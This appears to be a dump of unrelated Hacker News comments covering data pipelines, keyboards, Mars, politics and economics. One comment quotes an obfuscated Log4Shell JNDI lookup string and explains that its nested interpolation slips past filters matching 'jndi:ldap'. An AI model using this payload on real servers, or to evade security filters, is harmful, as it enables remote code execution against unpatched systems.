skysight-inc/HackerNews huggingface dataset:
Not sure if this provides any insight or value.

But I had this same experience.

First exapmle was connecting Iterable - which looks like Airbyte supports - to bigquery.

In the past I had someone help me setup snowflake which was too complicated for me to maintain / understand myself especially AWS is too complicated for me compared to simpler google cloud.

Have also tried stich and fivetran at different times. Mostly to try to save time setting up non webhook syncs from FB marketing, Front. The volume of iterable data would be way hugely prohibitably expensive for us on those as paid platforms.

In the end I was able to do FB Marketing myself less than 1k lines of python modified from a script I found on github which used google cloud scheduler & function. I don't know python so that felt somewhat satisfying.

Another nuance in favor of a hosted/paid platform is that it looks like airbyte uses an api lookup sync instead of webhooks. That lets Airbyte get some more meta data to join to that I don't collect. That's valuable!

For iterable I ended up making a GAE app to accept incoming webhook data -> push to pubsub -> pushes to function -> which writes to bigquery.

The latency for bq writes was too much to try and do it all at once and i don't think iterable does webhook retries. Also Iterable is MEGA bursty like I've seen our GAE will scale up to somethings 40+ instances within minutes after we hit send on a campaign. That was the hardest problem to figure out getting the latency down for cold starts and scaling, cloud functions didn't work. It's not perfect but it's good enough for our needs. The simpler FB function grabs data 100% correct each day which feels good last I talked to some of the paid ETL it was flat $500 minimum a month not worth it.

From learning all this I've been able to reuse this gae, pubsub, function, bq/spanner pattern for other stuff I build and it has saved a lot of time and headache.
i had twitter ask me for my drivers license abkjt an hour after making thr account and i just decided i preferred not sharing it with twitter and never worried about it again.

bullet dodged and thx corpo for helping me make the right choice.
Most likely that's the reason of OBS' code ending up in TikTok's product. Some engineer disregarded the license with no insidious intention to steal.
Remember: Commenting your code is an act of self-care for your future self
its over?
I assume you would support a 'nautilius-tax' then. Everyone pays $10 a month to me, but because I also throw $10 in the bucket it's totally fair!
The fully documented BootPolicy system, all new to M1 Macs and not found on iOS devices, explicitly supports running your own kernel on these devices. It’s also supported by new tools for implementing boot code. Apple has clearly devoted a lot of resources to this, as the Asahi Linux team have repeatedly pointed out.
I've paid more to get a stick :-)
My First Colo: Guide to building a wholesale colocation
It will not be misunderstood by intended readers of BMJ. As for facebook it has all kinds of readers and groups including those that are meant for professionals.
You can only be held to some standards if there exist a common set of standards that the entire industry can agree on. This is impossible for software.
Settler attacks on Palestinians soar. Challenge for Israeli coalition. CSMonitor
Yep, see later in the thread for how I'm avoiding that now; basically it uses a second level of interpolation so that it will only expand to the token when log4j is expanding it:

${jndi:ldap://${::-t}${::-o}${::-k}${::-e}${::-n}/a}

I stole this trick from my Apache logs; people are using it to bypass dumb filters that just trigger on "jndi:ldap".
Us too - a B2B app with quite spikey load.

We use a Lambda monolith with NestJS framework behind API GW and CloudFront - it works pretty well for us... Bits of SQS, SNS and DynamoDB all hang together quite nicely...
I had already fixed problem for myself without editing the registry, but here's how

use regedit to open HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem

Set LongPathsEnabled to true

https://www.howtogeek.com/266621/how-to-make-windows-10-acce...
Holy shit finally!

I have been using the Kinesys Advantage (and the LF version with Cherry MX Reds instead of Browns) for many many years. I love it but have always wanted a split version because my shoulders are too wide and I have to pull my arms in to type (like every other non-split keyboard out there).

I spent a long time looking at building a custom 3d-printed keyboard of my own but trying to find just the right keycaps (they are not all the same size) that would work with the scooped layout was tough.

I can't find it right now but there was at least one person who cut their Advantage in half and wired each side together with a long cable. It was cool that it worked, but it looked janky as hell and seemed like a good way to accidentally break a $350 keyboard.

I'm so glad this is a thing!
I used the same with a freestyle 2 and a Logitech on left when right gets tired. How do you position it in front of the keyboard? Seems weird
It’s a reference to the xkcd comic about standards. https://xkcd.com/927/

But I agree with you, more conferences is nice. More opportunities for sharing knowledge and making connections with more people.
Hmm. There are five drug classes for controlled substances and oxycontin was always a class 2 narcotic which carries the second highest risk of being abused. I don't think most doctors/pharmacist really bought into the idea there was zero chance of abuse. I think in the beginning Richard Sackler the best intentions (by Creating a successful drug and racking in a bunch of money and there is no crime in that)but ended getting in way over his head leading to Purdue spiral out of control. I don't believe he created the opiod pandemic but he certainly played a role in it. But as Al Pacinos character says in scarface, "You need people like me so you can point your fckn’ fingers and say, “That’s the bad guy.” And that guy happened to he Richard Sackler
Did the Moonlander take some getting used to with the non-staggered key layout?
Very much agree: Zulip is fantastic, except for the UI (mostly the look & feel) which makes difficult to convince non-tech users to adopt Zulip instead of Slack.
Isn't that actually one of the terraforming methods proposed?
Well...

Who owns the Media then?
There are solutions here that aren't predicated on that decision, such as shutting down the dangerous avenue to all data equally (though that would break the Facebook ad machine).

The point that a lie in this context can be societally dangerous is still very relevant. Next up is the frequency / commonality of these dangerous lies.
Yeah, one of the kind of early hints of universality https://en.m.wikipedia.org/wiki/Theorem_of_corresponding_sta.... Weird, I've never seen it called the "theorem" of corresponding states, always the "law". You get it straight from VDW EoS

Edit-- I guess there's multiple laws of corresponding state, duh. My last sentence above should say you can a law of corresponding states from VDW.
I suppose you can call it bullying. I call it providing customers with additional information to help them decide whether a particular company is worth giving money to.

And it doesn't have to be an antagonistic interaction. I fully suspect that many if not most cases of TTL violations either a) have a good explanation or b) are unintentional and easily fixed. Let's open the dialog and start improving things.
It was such a smaller world. I remember how exciting it was that someone on a local BBS responded to a post. I got even more excited when I wrote a post on FidoNet and got a response from someone on the other side of the continent.

I was a teenager at the time and remember some of my friends went a dinner meetup for a BBS. They revealed it was super awkward afterwards, but I guess it was an older crowd.
For anyone born in the 20th century I’d think so.

If you’d have said there was water on mars in 1970 you’d have been met with disbelief. 1980? 1990? Later?
We live in the 21st century, not the 18th century. If liberty requires that access to guns be a universal and inalienable right, then the capacity to manufacture and provide guns must scale with the population, and a small arms manufacturing infrastructure is necessary now to supply 300 million Americans with the access to firearms that the Constitution deems necessary for the US to remain a free state. Otherwise liberty diminishes because fewer guns wind up in fewer hands.

The Second Amendment does very much depend on the existence that industry, because if the government were to allow small arms manufacturing to fail, it would be de facto abridging the people's right to keep and bear arms. It's the only industry that has to exist in the US, by fiat.
JT is isoenthalpic not isoentropic. For an ideal gas, h = u + pv = CT + RT = f(T). So an isoenthalpic process is necessarily isothermic for an ideal gas.

Expansion through a nozzle is extremely chaotic and generates entropy. You can’t model JT that way.

When you compress air in an air pump you are doing work against the system and increasing its internal energy u = q - w, which can be explained using ideal gases by knowing that u = u(T). But this is not because the pressure increases but because of your work.
What problem are you encountering?

I worked on dns gslb for a long stretch at Facebook^WMeta, and didn’t see an excess of bad actors. The vast majority of users follow our dns changes in an orderly fashion. Most delay sources to clients themselves.
I'm having trouble deciding which one is the most stupid out of those. I think I'm going to go with the heated seat subscription, wow.
My bad, the actual quote is "Missing context ... Independent fact-checkers say this information could mislead people"

As far as whether Facebook should become "optics police" I think it's obviously a difficult decision, but with life and death questions such as "is the vaccine safe" I have to go with yes, facebook shouldn't let itself propagandize people who decide to read headlines instead of articles.
The moral of the story is, for all of them: "This is why AWS ate corporate IT"
- H and He (and Ne ?) are small.

- The energy is stored in the bond ?
Ask HN: Ontologies of Types of Thoughts?
Does anyone have recommended reading (books, papers, articles, Wikipedia pages) on the topic of "Types of thoughts"? Other ways to put it might be "Ontologies of Thought" or "Templates for Thought". Rhetorical devices would be a subset of the broader category I'm thinking about.

I'm looking to add to a grammar nodes for thought patterns like "Playing Devils Advocate" or "Thought Experiments" or "Listicles" or "FAQs".
Not everything is a conspiracy against Tesla by the media. A lot of folks have legitimate concerns about the way Tesla markets, tests and operates it’s self-driving systems and educates it’s customers about the limitations.

This is a video from 5 years ago describing Tesla’s self driving features.

https://vimeo.com/188105076

I personally feel like Musk is writing checks his engineers can’t cash.

A lot of the criticism of Tesla is invited by a stock price which a lot of folks think are propped up by mistruths and exaggerations about the future of company and the feasibility of it’s vision.

Also, quite frankly I find the term “legacy automaker” infuriating. Toyota builds 9 million cars a year or 18x what Tesla does and Toyota has a legendary reputation for quality and reliability.
It is very exciting in the equatorial regions as it was typically assumed that because of the high summer temperatures (~70°F), any ice would melt and the water would evaporate. Valles Marineris would be an excellent location for a human settlement because of these warmer temperatures and the higher atmospheric pressure in the canyon. If there is water there as well then it ticks all the boxes.
I have the Kinesis Freestyle 2 and, while the layout is good, I really dislike how the keys feel- very mushy, way too much travel distance, and many keys require moving my entire hand from the home row to properly depress because they're very resistant to non-perpendicular force.

What I really want is an ergo keyboard with Macbook/laptop style low-travel keys.
You want to stick to tech that doesn't need a VPC in my experience -- as soon as your Lambda's are VPC-bound things gets messy and slow.
If there was ever life on Mars at scale it wouldn't be impossible or unusual to find oil and coal, would it? Or does it degrade on the timescales that would be required for this to be possible?

tbc I don't believe there's oil on mars nor do I think it is remotely likely.
Every deposit of water, even as ice, opens a new series of inquiry. Suddenly you have new regions, geographies, biogeochemical hypotheses, and potential support for life. More history, more to explore.

New sites give us more to consider for future missions and broaden the set of experiments we want to conduct.

I'd much rather keep finding water, even as ice, then have the planet run dry. It only increases the odds.
Thanks; figured it out. I was passing the object to a parent thread and the class properties were being removed in the process. Thanks for the help.
See the CHAPEA and HERA campaigns
I more so meant that taking away capital is a much more painful process than adding in capital. But you make a good point, it's not the first boom/bust the city has seen.
> Jobs don't exist for the employee, wages exist for the employee.

This is a handwaving assertion. It happens to be strongly correlated with the way our society(ies) allocates labor, but is not something inherent to the labor/wage relationship. It's not hard to imagine a world in which people do things because those things matter to them, or are interesting to them, or both.

Graeber didn't call them "Bullshit Jobs" because the jobs required dealing with bullshit, he called them "Bullshift Jobs" because the actual stated purpose of the job was at best deeply suspect and at worst, well, bullshit.

There is a better fundamental critique of "Bullshit Jobs" which is a little more sophisticated, I think. That critique says that the reason people get confused about the meaning and importance of their job is that our economic system has grown too complex for them to really understand the role they play. The division of labor has reached such extreme levels that it is very difficult for many individuals to grasp how their "apparently meaningless aka bullshit" jobs could be contributing anything at all to the world. But their inability to understand or visualize this does not mean that their work is, in fact, meaningless or without value.
> You are mostly the mind (software) that runs on the brain (hardware) in your head; your brain and body are tools supporting your mind. If our civilization doesn’t collapse but instead advances, we will eventually be able to move your mind into artificial hardware, making a “brain emulation”. With an artificial brain and body, you could live an immortal life, a life as vivid and meaningful as your life today, where you never need feel pain, disease, grime, and your body always looks and feels young and beautiful.

Let's start by assuming science-fiction is true...
What Eyes Want
On an individual level, it would appear that just being from Hong Kong and not China will get you death threats.
That's not a coincidence. The same tactics that lead China where it is now are being used here.
Anyone remember that disclaimer some pirate websites used to have where they said something starting with something like “On October 28, 1998, President Clinton signed into law the Digital Millennium Copyright Act”, and the disclaimer went on to mention some DMCA exceptions like learning and teaching or something? Always gave me a chuckle. As if saying that the DMCA does not apply for you is enough to make it actually so.
Gluggle Jug Is a Neat Application of Hydrodynamics
I think they meant the student built a prototype leaks detector for SPAs.
Seems like China is unilaterally changing the so-called "status quo". Maybe it's time for the rest of the world to stop pretending to respect China's claim to Taiwan and instead openly push back against it.
Also mentioned in the Expanse book series as region which was colonized by Texans (IIRC) so they have that nice accent.
As I read further into the article I increasingly disagreed with the thesis and the influencer hyperbole used to support it. Cities are not tech companies. They have to provide services, infrastructure - housing, health, education, transportation. They can't be "disruptors" in the move fast break things sense, they are almost entirely a legacy maintenance job with thirty year planning horizons.

The post pandemic quandary is really one faced by every developed-world city: where are the jobs gonna be? What's the economy gonna be? SF and California had a stunning run of attracting new jobs over the past century or so. But the housing issue and its side effects are built on issues that are primarily to do with broad aspects of national demographics and wealth distribution - landlords get rewarded because homes are investments, and homes are investments because we set up the financing that way when the Boomers were young. But that game has played out. The population is represented by younger generations now, and they aren't on this ladder. All of the rest follows from that, and little of it has anything to do with tech, except for that tech can be applied to shape the next economic model.

With the "Great Reset", that's the kind of thing being referred to. It's not unique to SF, SF was just unusually impacted by being thrust into the global power center role.
Maybe then I suggest installing notches right, left and at the bottom of the screen. I am pretty sure you will never (and I mean never( even notice them or get bothered by them. :)
But the isentropic part is what is being violated here... (I was surprised that the article didn't mention that even though it managed to demonstrate the real behaviour in another way.)
Is something coming out of patent? Is this patent protected?
Not to be harsh but why would anyone ever use this? It's just some syntax sugar? (and over 3K loc... yikes)
The people moving in these examples are doing precisely what they should be: moving to somewhere they can afford.

They've been priced out of the market, and that's okay. This process is exactly what grows populations in other cities.

Without private property ownership, the entire rental market would cease to exist. Often people purchase homes in disrepair, fix them up, and rent them out. The rental income is precisely what incentivizes this process. If there was no yield, people wouldn't do this and there would be even less housing available.

Anecdotally, I believe in Amsterdam there are restrictions such as a house can't remain vacant for more than x months. There may be some merit to that, but I still really dislike it. It basically says "you don't own your private property".
am i the only person looking at this as - where is the business opportunity here?

silicon valley created all these amazing tools for communication, people want to use them, and they don't play nicely with business requirements

almost like the only safe tool is email because it is so old they know how to handle it.

seems like an opportunity for better solutions?
Some good points.
I'm an idea man. I link up with implementers, and then we share the money.
So... is there a difference between structural typing and duck typing?
Ask HN: What subject do you find most interesting?
I'm implementing my own domain seller targeted towards making domain names easy enough for the average person to use. I'd like to move towards a world where you can read the current authoritative TTL and guarantee the user everything will be updated within that time, rather than saying "Up to 48 hours".
That’s a legal distinction.
I won't suggest that you did not FEEL that way when you were doing it, but what you just wrote sounds exactly what I said in socially-coded language.

> I can attest that what drove us is not the desire to differentiate, but that the mainstream elite were lifeless bullshit

Here you state that the mainstream elite was "lifeless bullshit."

> we wanted to express something new

And you wanted to express NOT lifeless bullshit.

> that only we could sense. We were being us

This is what the mainstream elite couldn't see or make. It was NOT mainstream elite thought.

> it's what the mainstream now sounds like

The mainstream adopted it, and now there's a new generation of people who think that sound is mainstream lifeless bullshit and will create something that is NOT mainstream lifeless bullshit. This is not part of the Graeber thesis, but aligns well with the original post.

I also want to be clear that I don't think this is supposed to be a conscious process - there are times when people are intentionally contrarian but there are also people and groups who are unconsciously contrarian simply by saying "I don't like this thing."
I agree, this seems likely to be a couple folks at Apple trying to be helpful rather than a real policy. If Apple were serious about helping open source efforts they could, for example, release the documentation for their different peripherals and ISA extensions.
I should have anticipated that people would refute this with pedantics instead of logic.
I'd much rather put my faith in markets than any government. Markets persuade while governments enforce, usually with a gun.
Most professional programmers (software developers) I’ve worked with avoid writing comments in favour of self-documenting code.

I wonder if this Tweet illustrates a divergence in style between scientists and others who code as part of their jobs on the one hand; and people whose primary role is developing software for a living, on the other.
China is banking on the hunch that it's impossible to rhetorically separate "China" and "Chinese", and that western powers or their citizens will fuck up and engage in hate crimes or war crimes that...

1. Unify the country around the People's Republic of China generally, and Xi Jinping specifically

2. Damage or destroy any alliances with western powers that China's neighbors might have

The absolute worst thing we can do right now is knee-jerk our way into blowback, and a lot of the reaction here seems to be that we should. In fact, I even read a report[0] stating that a lot of the recent government attempts to fish out Chinese spies have devolved into fishing expeditions against Chinese grad students in America. I'm tempted to say we're doing it wrong, but it could also be the case that we're just making the least-worst mistakes right now.

[0] which I absolutely wish I could find!
It's a matter of priority. Many people have this concept of Amsterdam and Utrecht as having forever been a cycling paradise, but the reality is that they were choked with cars and smog until the 70s. The political will existed to prioritize non-automotive modalities, and a few decades later you have what we see today.
Lessons from three Countries where Omicron is surging